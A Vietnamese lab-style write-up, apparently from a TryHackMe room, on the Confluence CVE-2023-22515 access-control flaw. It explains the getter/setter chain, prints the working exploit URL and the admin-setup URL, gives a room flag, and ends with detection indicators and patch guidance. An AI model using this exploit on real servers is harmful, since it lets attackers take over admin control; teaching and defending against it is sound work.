Introduction
Ngày 4 tháng 10 năm 2023, Atlassian công bố một lỗ hổng broken access control có điểm CVSS là 10.0. Lỗ hổng này tồn tại trong sản phẩm Confluence Server và Data Center ở các phiên bản <8.3.3
, <8.4.3
, <8.5.2
. Theo Atlassian, lỗ hổng này đã được khai thác trong thực tế.
Kẻ tấn công có thể khai thác lỗ hổng để tạo ra một tài khoản trong Confluence với đầy đủ đặc quyền quản trị.
Understanding the Vulnerability
Confluence’s Initial Setup
Khi chạy Confluence lần đầu tiên, chúng ta sẽ phải trải qua quá trình thiết lập ban đầu ở endpoint /setup
. Quá trình này giúp cấu hình một vài tham số và tạo ra một tài khoản quản trị. Sau khi trải qua quá trình này, nếu chúng ta muốn thực hiện lại lần nữa thì sẽ có thông báo như sau:
Enter CVE-2023-22515
Lỗ hổng này cho phép kẻ tấn công thực hiện lại quá trình thiết lập ban đầu và tạo ra một tài khoản quản trị mới.
Confluence được xây dựng dựa trên Apache Struts framework và framework này phụ thuộc vào XWork package. Package này cho phép định nghĩa các Action dưới dạng một lớp Java. Mỗi lớp Java sẽ xử lý request gửi đến URL của Action tương ứng.
Ví dụ, khi truy cập đến endpoint /
thì ta sẽ được chuyển hướng về endpoint /login.action
và hàm execute()
trong lớp Java liên kết với Action này sẽ được gọi thực thi để thực hiện request đăng nhập.
Calling Getters/Setters via XWorks
Chúng ta có thể gọi các getter và setter của lớp Java thông qua các query param trong URL. Ví dụ, nếu Action dùng để đăng nhập có phương thức setId()
thì ta có thể gọi sử dụng như sau:
http://IP:PORT/login.action?Id=123
URL trên sẽ thực thi phương thức setId
với đối số là 123.
Chaining Getters/Setters to Reenable the Initial Setup
Lỗ hổng được báo cáo khai thác Action ServerInfoAction
. Lý do sử dụng Action này là vì chúng ta có thể xây dựng một chuỗi các getter hoặc setter từ nó để bật hoặc tắt quá trình thiết lập ban đầu.
Khi phân tích mã nguồn của lớp ServerInfoAction
, chúng ta sẽ thấy nó kế thừa lớp ConfluenceActionSupport
. Lớp này có một getter trả về đối tượng thuộc interface BootstrapStatusProvider
:
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null)
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
return this.bootstrapStatusProvider;
}
}
Chúng ta quan tâm đến interface BootstrapStatusProvider
vì nó có một getter khác trả về một đối tượng thuộc interface ApplicationConfiguration
:
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
public ApplicationConfiguration getApplicationConfig() {
return this.delegate.getApplicationConfig();
}
}
Thông qua tên của interface, ta có thể đoán nó có chứa cấu hình của ứng dụng, bao gồm cả thuộc tính mà giúp Confluence biết rằng quá trình thiết lập ban đầu đã kết thúc. Thuộc tính này có thể được chỉnh sửa thông qua một setter của lớp ApplicationConfig
(là một implementation của interface ApplicationConfiguration
):
public class ApplicationConfig implements ApplicationConfiguration {
public synchronized void setSetupComplete(boolean setupComplete) {
this.setupComplete = setupComplete;
}
}
Nếu ta gọi setSetupComplete(false)
thì quá trình thiết lập ban đầu sẽ được khởi động lại.
Kết hợp những getter và setter nêu trên, ta có thể xây dựng một URL để khai thác lỗ hổng như sau:
http://IP:PORT/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
URL trên tương ứng với chuỗi thực thi của các getter và setter sau:
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)
Kết quả:
Creating an Admin Account
Ta sẽ sử dụng URL sau để thực hiện thiết lập ban đầu và tạo tài khoản quản trị:
http://10.10.10.129:8090/setup/setupadministrator-start.action
Ví dụ:
Sau đó, chúng ta sẽ được điều hướng đến trang quản trị.
TryHackMe flag
THM{who_needs_keys_anyway}
Automating Exploitation
Tồn tại một Python script của Chocapikk giúp khai thác tự động. Ngoài ra, nếu ta chỉ muốn kiểm tra nhiều server mà không muốn khai thác thì có thể dùng script của ErikWynter.
Detection and Patching
Detection
Nếu sử dụng một Confluence instance với phiên bản bị dính lỗ hổng, ta có thể kiểm tra những thứ sau để xác định dấu hiệu lợi dụng (indicator of compromise):
- Các network access log vào endpoint
/setup/*.action
. - Các network access log vào endpoint
/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
. - Những người dùng đáng ngờ, đặc biệt là các thành viên trong nhóm
confluence-administrators
.
Patching
Instance bị dính lỗ hổng nên được cập nhật lên các phiên bản sau nếu có thể:
- 8.3.3
- 8.4.3
- 8.5.2
Nếu việc cập nhật là không khả thi thì nên chặn truy cập đến endpoint /setup/*
như là một giải pháp tạm thời. Để làm điều đó, thêm đoạn sau vào file /<confluence-install-dir>/confluence/WEB-INF/web.xml
:
<security-constraint>
<web-resource-collection>
<url-pattern>/setup/*</url-pattern>
<http-method-omission>*</http-method-omission>
</web-resource-collection>
<auth-constraint />
</security-constraint>
Related
list
from outgoing([[CVE-2023-23397 (Confluence Broken Access Control)]])
sort file.ctime asc